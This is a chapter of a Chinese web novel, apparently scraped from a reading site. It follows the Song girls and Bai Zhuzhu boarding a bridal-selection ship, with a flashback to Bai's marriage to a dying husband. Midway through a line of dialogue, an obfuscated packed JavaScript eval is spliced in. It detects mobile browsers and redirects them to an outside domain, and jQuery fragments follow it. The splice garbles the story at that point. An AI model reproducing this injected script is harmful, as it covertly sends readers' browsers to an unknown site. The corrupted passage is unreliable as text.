49. 弃子: 故烧高烛倚红妆

作品:《戏精夫妇今天也很甜

    正月初六,雍州渡口。


    湛江解冻,渡口停靠了数不尽的船只,往来小贩如织,正向甲板走下的客商叫卖可填饱肚子的油饼,炸糕。


    宋惜霜坐在马车上,从车牖微微探首,横执玉扇,抵在额头上遮阳望江


    宋栀宁挤在宋惜霜身旁,遥遥指了指渡口处,声音里有几丝兴奋。


    “那楼船想必就是来接我们的了。”


    她所指的那艘楼船有三重之高,在一片寻常渔舟与客船中显得轩巍卓然,船首是栩栩如生的巨目螭龙,船上楼阁飞檐麟瓦,帆桁丛立。


    肥润的朱袍选婚使立在船头甲板上,正与身后手执竹笔的皂吏说话。


    这是想不看见也难。


    宋栀宁印象里,长到这个年纪没出过雍州,去过最远的地方只是煤山。


    得知要去君都,宋栀宁郁郁寡欢,两日前独自打马去了菩如山一趟,连宋惜霜也不知会。


    夜半回来,她翻进凌霄院抱着宋惜霜哭了一场,哭得脑袋昏昏沉沉才睡下,隔日起身眼睛肿成个核桃,却傻乐着大口吃饭。


    宋惜霜看她又成了往日的宋栀宁,才些许放下心来。


    马车内,在旁阖眼小憩的宋老太君拧眉道:“那些衣裳箱笼,要打点的物什可都齐全了?至于文房枕衾,进入君都再置办也不迟。”


    白珠珠掀起车帘,递进两顶帷帽,语调欢快。


    “母亲念了好几日,妾怎能不放在心上,晨起又清点了两遍,栀宁那丫头一箱零嘴,还有朝朝儿夹在衣裳里的百部书卷可都找出来了,可不就松快不少……”


    她今日高兴得很,寅时便起身敷粉点唇。


    比起渡口与亲人依依惜别,目含泪光的女郎们,白珠珠倒像是要去应召进都。


    宋老太君缩了缩脚,盯着两个姑娘接过帷帽弯腰走下马车,肃然回道:“你这是嫌我老婆子啰嗦。”


    白珠珠脸上的笑僵住了。


    近日宋府上下都晓得她能去君都看宋嘉澍了,是而万般欢喜,但白珠珠一想到要回君都,实则昼夜睡得囫囵,梦到许多旧事。


    她还是个姑娘时,便听闻宋老太君远近闻名的扈戾,不好伺候。


    君都暗传,如若要做宋家的媳妇,那是金窝里睡刀子,白日显贵,夜里受罪。


    彼时,她父亲不过是个芝麻官,自己本配不上与宋太师独子宋聿风的婚事,恰郎君日薄西山,急需冲喜,纵然宋家光耀,却无女郎敢答应这门婚事。


    不知怎的,这门婚事从簪缨豪族最后溜到了白家。


    她隔着蝉翼般轻薄的屏风,见到那背着她咳嗽不止的白衣郎君,就心生厌弃。


    谁知身侧的外室女白璎璎面飞红云,咬唇扯了扯她的袖子:“珠姊姊,我什么都给你,你把宋郎君让给我,好不好?”


    呦,这说的什么话。


    白珠珠登时看透这小蹄子要借宋家飞上枝头的心思。


    她母亲没得早,父亲是个耳根子软的,要是这外室庶妹白璎璎诰命在身,往后自己逢面都要三跪五叩,那比杀了她还难受。


    白珠珠气不打一处来,直冲屏外会客的父亲咆哮道:“叽叽歪歪的,都别说了,我来嫁!”


    女郎声如洪钟,屏风被震倒在地。


    两方高堂骇得抚胸不止。


    那郎君惊异回首,轻轻瞥了眼白珠珠,后眉间微蹙,捡起她方才掷在地上的玉扇,一粒粒拾起扇上摔落的米珠。


    “白姑娘……不如再仔细想想。”他犹豫道。


    还想个什么。


    她见到宋聿风第一眼,连未来孩儿的名字都想好了。


    他虽瞧得出病骨支离,却掩不了宋家一脉的明月暗妒,梨云委委之姿。


    像是久旱甘霖般,霎时浇灭了白珠珠心头那股怨气。


    白珠珠看得呆在原地,她心里只有一个念头:真是天妒蓝颜,不知道这生下的孩儿有多好看呢。


    焦暑时分,白珠珠战战兢兢嫁进了宋府。


    洞房花烛夜,她不给身侧夫郎还口的机会,就扑进他怀里。


    “你行不行呀,不行的话……我看过春戏图,我也可以在上面。”她红着脸问道。


    夫郎认真地拔落姑娘髻上的金簪,吻在她发间,沉吟道:“不试试,怎么知道行不行。”


    喜烛燃到天亮,她和病秧子夫君圆房了。


    结果……真的还行。


    敬茶时,白珠珠幻想了一万遍婆母宋老太君手抖拿乔,责难新妇的场景。


    然而她奉上的茶被稳稳端住了,还得了个又大又厚的红封。


    “往后就叫你‘珠娘’罢,”宋老太君呷了口茶,不以为意道,“宋家没那么多规矩,你和聿风就过你们的小日子去,别总是晨昏定省来扰我。”


    白珠珠怔怔点头,她觉得叫什么都成,自己快被匣子里的金头面亮瞎了眼。


    身侧的宋聿风温柔地牵住了她的手。


    人人都说她是个福星,让病夫君的病看上去好很多。


    这终究只是看上去,又或是“回光返照”。


    宋聿风咳血倒地的那个暑末。


    大夫诊出她有了身孕。


    病夫君道:“白姑娘,我对不起你。”


    “白姑娘”,这三个字念得白珠珠有点想哭。


    他们认识三个月,成婚两个月,他其实一直随宋老太君一样,唤她“珠娘”。


    病夫君攥紧了衾被:“我写好了和离书,你要这个孩儿也好,不要也罢,皆请你在我死后……早觅良人。”


    死了,就看不见她投进其他郎君的怀抱了。


    白珠珠捏紧拳头:“你闭嘴。”


    她恨恨道:“你确是对不起我,所以这辈子,我要生下这个孩子,赖在你们宋家不走,花光你们宋家的银钱!”


    病夫君转过头闭嘴了。


    那夜,两人第一次同枕背身而眠。


    荞麦枕头湿得都要发芽了。


    人间四月芳菲尽,她快生了,病夫君快死了。


    “我知道二郎有才,而我读书不多,”白珠珠强撑着笑脸,将那只枯瘦的手心贴在自己的小腹上,“能不能叫他‘嘉澍’,因为……我希望你的病,能久旱逢霖。”


    嘉澍,宋嘉澍。


    这个名字里,全是阿娘与阿爹的爱。


    躺在榻上的郎君已然在流失意识,却察觉到手心被轻轻弹了下。


    他瘦骨嶙峋,最后用尽力气摸了摸妻的鬓角,浅笑应了声“好”。


    白珠珠抓着死鬼夫君的手不放开,她身下的羊水跟脸上的泪水一样“哗啦啦”往下流。


    宋嘉澍很不听话,她花了两天两夜才生下他。


    二房的叔母,鲁国公夫人纪云璧来帮衬丧事和洗三礼,掀开襁褓一角:“哎呀,看这眉眼,跟聿风多像。”


    这话欠得让宋老太君迅速寻个理由撵走了她。


    白珠珠却笑着点头,像没事人一样主持丧事和喜宴。


    宋聿风下葬时,身体轻得她都能背起,但她是未亡人,是妻,背不了,最后只能是剪断一缕头发,放在他的手心。


    结发为夫妻,恩爱两不疑。


    怀里的宋嘉澍睁着眼睛摸了摸棺木里年轻郎君阖上的眼皮,被她打了下手,哭了。


    生当不复归,死后永相思。


    他会永远年轻。


    她会是有钱的寡妇。


    夜深人静,她关上屋门把宋嘉澍哄睡了,开始像无头苍蝇一样绕着屋子乱走,数着屋内的物件与财产。


    这是宋聿风的书。


    她要保存好,以后宋嘉澍说不定能让她做状元娘,给她挣诰命呢。


    这是宋聿风的木簪子。


    她以前经常笑他不像个富贵郎君,后来才知道他身子不好,难以入仕,当了许多珍贵衣饰与贫寒同窗。


    这是宋聿风的画像。


    她看亲前没有放在心上,看都没看画像,最后还是白白捡了个神仙似的夫君。


    这是宋聿风与她成婚后元夕做的花灯,那是听闻她小月子不适买来泡脚还没用完的干艾草……


    从箱底找出他保存得完好无比的那只玉扇时,白珠珠终是忍不住抱着那复原的扇子,跪地无声大哭。


    宋老太君不放心,夜半推门进来就是这副场景。


    她所有安慰的话都梗住了,蹲下身将才十九岁的白珠珠拥在怀里。


    往后数年,两个寡妇从扶棺还乡,到凤玱城相伴十来载。


    渡口分别,白珠珠哪里不知宋老太君心中忧思。


    她眼圈微红,敛裙登上马车,靠在宋老太君怀里:“母亲,有我亲自陪同朝朝儿与栀宁去君都,您就把心放肚里。”


    宋老太君拍了拍她的手背,忍住叹气。


    “进了都城,就别再当作是凤玱城地界,你也知道,君都浑人多,管束好朝朝儿,便是管束好栀宁,选婚还是中试,我们家底足厚,能用银子解决的事都不打紧,中秋前把三个孩子都带回来,便是极好了。”


    渡口风大,宋惜霜系紧了宋栀宁下颌处的帷帽带子,她微敛眸光,将车中的话一字不落听进去了。


    车中二人絮叨一阵,声音越来越小,最终被栈桥上呼号的小吏打断。


    这是要登船了。


    宋栀宁掀开帷帽上的帘子,双手伸进车帏,握住宋老太君一臂,话音梗塞道:“祖母,我不入东宫,也不嫁人,我一定早点回来陪您。”


    宋老太君一点点掰开那双白嫩的小手,望向宋栀宁身后矜持冷淡的宋惜霜,摆手道:“朝朝儿……”


    她还没说下去,就见宋惜霜缓缓行了一礼,终究是把话咽进了肚。


    白珠珠抹完泪,便打起精神指挥着张祷将箱笼物什搬上船舱。


    像她这般陪同登船去君都的亲眷不多,背后还得是银钱开路,有的是要她这个主心骨去打点。


    宋惜霜挎着宋栀宁一臂,跟在白珠珠身后,与忙碌的船夫们擦肩而过。


    楼船解缆而起,朱帆上的描金九龙图腾在阳光下熠熠生辉。


    身边啜泣的女郎太多,宋惜霜攥紧了扇柄,忍不住回头看了眼码头,却见宋府的马车早就驶远了。


    江风扬起,不知何时再回雍州。


    *


    选婚使姓刘,单字玚。


    他生得脑满肠肥,玉带勒不住肚子,眼神却沾了几分为官的威严峻肃,须髯五绺,负手抬首,有些硬装文臣的别拗感。


    刘玚起初还对这些应召选婚的官宦女郎态度恭谨,忖这其中若是有哪人入了东宫青眼,日后岂能是他一个小小选婚使招惹起的。


    他捋了捋胡髯,见这些女郎互倚在甲板上迎风瑟瑟发抖的样子,不过是寻常怕事的姑娘,又不由倨傲起来。


    皂吏接了他的眼神,为其搬来一把交椅,服侍他坐下喝茶后,便开始迎风唱名。


    “鲁国公府上十一娘宋氏惜霜,十二娘宋氏栀宁,可在此!”


    上栈桥前就一一检验了身份面容,如今此举,简直是没事找事。


    宋惜霜拧眉撩开半扇帷帽的帘子,见那刘玚一脚艰难地踩在交椅边缘,轻浮地朝她与宋栀宁看来。


    现下甲板上站的皆是雍州稽州两地应召选妃的女郎,她们的亲眷与侍婢皆进了船舱打理起居。


    宋惜霜速速挥下帽帘,将还沉浸在别离伤情的宋栀宁悄然拉到身后。


    皂吏见状,在册上画了一笔,他接着唱道:“稽州太守府上木氏恒秋,可在!”


    “何在


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15400592|165642||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    !”


    见无人回应,那皂吏抬首看了看人群,打算再喊一遍,谁知还没喊完,面颊擦过一只小银匕,他摸了把脸,刮下满掌鲜血。


    “啊!”皂吏登时骇然大叫。


    刘玚不快,从交椅艰难拔起身来,竟一脚踹在那皂吏胸口:“聒噪!”


    他看向那只小银匕,它本是用来削果皮的,如今却被钉死在甲板上。


    女郎们纷纷攒头私语。


    宋惜霜旋首看向挥出小银匕的方向。


    一位女郎坐在舷栏上,她没戴帷帽,面朝江畔而坐,拿着只梨子“嘎吱嘎吱”咬得好不欢快,一条长腿曲放在栏上,是极为肆意大胆的坐法。


    末了,木恒秋将那吃剩的梨核往水中一掷,手按在舷栏上,干脆利落地翻身下地,背手抬颌,看向刘玚的眼神就像是个物件。


    “你们是没见过姑娘,还是瞎了眼?难道要我们将姓氏名讳,家住何地全纹在脸上身上,褪尽衣裳给你瞧,这船今日才开得动了?”


    刘玚脸色登时有些不好看起来。


    宋栀宁闻声掀开帷帽一角,好奇地看着那女郎,与宋惜霜耳语道:“朝朝儿,我没听说稽州太守府上有位姑娘的呀。”


    宋惜霜脑海里翻阅着大小官宦女郎画像,奇了怪,她也未找到这劳什子的木姑娘。


    她想,这保不齐是木家在外头的沧海遗珠,看着年纪到了,就想送进君都搏一搏前程。


    这种事并不稀罕,宋家早年便是如此。


    从前宫中并不仅仅有位宋皇后,实则还有位小宋妃。


    宋惜霜隔着帽帘看不清,索性也挑起一角观察那木姑娘,却见对面一双熟悉的,秾丽的瑞凤眼朝自己看来。


    她的心神霎时被狠狠撞了一下。


    这位木姑娘装扮并不如其余穿金戴玉的女郎们,一袭雪白狐氅下穿了身绯色的凌厉骑装,她简单绾着个朝云髻,髻上潦潦斜插了几根玉簪,耳铛也不戴。


    但放在那副清极艳极的容貌下,这些配饰仅仅是锦上添花罢了。


    木恒秋见那刘玚似是在拿捏着回话,随即冷哼一声,笑着看向其余女郎,或者更准确的说。


    那双不逊于沈昙般漂亮的瑞凤眼,看向的是宋惜霜。


    那年月华楼,宋惜霜见过沈昙乔装为女郎的样子,是而眼下倒也不至于昏了头,看到一个长得像他五分的姑娘就觉得是他。


    男女身型与骨相,还是有差异的。


    刘玚也是个游走数州的老油条了,什么人没见过,他眼珠子滴溜一转,敷衍的套话一箩接一箩。


    他冲木恒秋拱手作揖道:“这位木姑娘言重了……下官职责在身,护送诸位女郎进都,而楼船上人多眼杂,难免疏漏,是而着人再仔细查验一番,并非冒犯之意。”


    木恒秋冷嗤一声,轻蔑地连个眼神都没给刘玚,便兀自挥氅,背手进了船舱客房。


    刘玚被木恒秋撇了面子,正有些不虞时,就听见楼船尾部甲板上躁动不堪。


    他挥袖走向船尾,见船夫们指着那帆柱,正一筹莫展。


    女郎们也挤成一团看热闹,宋惜霜抬首,只见帆柱上头被一个铁勾爪牢牢卡住。


    她顺着铁勾爪牵引的长绳看过去,有些不确定,遂拿起袖中小瞭镜。


    那手执勾爪长绳的竟是一个站在江畔柳亭顶上的姑娘。


    楼船沿着江畔慢游,行驶得并不久,柳亭离船也说近不近,说远不远。


    下一刻只见她将绳子绕在手上好几圈,在柳亭顶上踩瓦助跑几步,凌空腾跃而起。


    众人惊愕不已,但见那身曾青色小点越来越近,逐渐放大,两息之后,那姑娘稳稳踩在舷栏上,挥臂甩下了铁钩爪。


    那铁钩爪好巧不巧,摔落时砸翻了刘玚的官帽。


    刘玚憋住火气,夺过皂吏手中册子,看了眼那拗口的名讳,扬声道:“可是稽州殷都督之女,殷氏馥玉!”


    殷馥玉指节屈伸,迅速将铁钩爪长绳收起,漫不经心抬起眼眸,像是军中报名似的,冷冷回道:“你老母在此!”


    宋栀宁“噗嗤”一下笑出了声,这便是开了先河,十来个女郎也笑起来。


    声如银铃,好不悦耳。


    木恒秋小臂撑在楼船窗案上,她从头到脚打量着殷馥玉,眼里尽是兴味。


    殷馥玉身着单薄的曾青色箭袖武袍,仅以玉白色发带高系一马尾,背着个灰扑扑的小包袱。


    她身量极高,七尺有余,看起来也只有十七八岁的样子,不敷粉黛,不点绛唇,剑眉微挑,目若寒星。


    像碗寒冬里冷冽的酒。


    刘玚捧着被戳破一个洞的官帽,被殷馥玉的回话气得胡髯发颤,又不敢发作。


    他想,万一……万一东宫就好这口呢。


    殷馥玉收起铁钩爪,不耐烦地向刘玚问道:“还有事没有?我的房舍在何处,今日起得太早,实在困乏得很。”


    刘玚腹诽道:起得太早,若是真起得早,怎会赶不上船。


    他瞪了皂吏一眼,怪其上栈桥时没有仔细查探清楚人数。


    皂吏委屈地捂着脸,他之前数过那些女郎了,跟名册上一样,正正好好十一个,这下加上殷馥玉,数着又是十一个,真是白日见鬼。


    刘玚看见朱帆上的描金九龙一爪被刮毁,脸色沉了下去:“屋舍门前木牌皆有诸位姓氏府第,请自便。”


    他暗骂道,这代的女郎,不好好安于内宅绣花,学些伺候男人的技法,这还没当上娘娘呢,竟一个个要翻江倒海,骑在他刘玚头上了。


    殷馥玉也不理他,打着哈欠率先走进了船舱。


    宋惜霜若有所思地看向了消失在窗口的绯衣女郎,将要灵光乍现时,却被宋栀宁猛地拽进了船舱客房。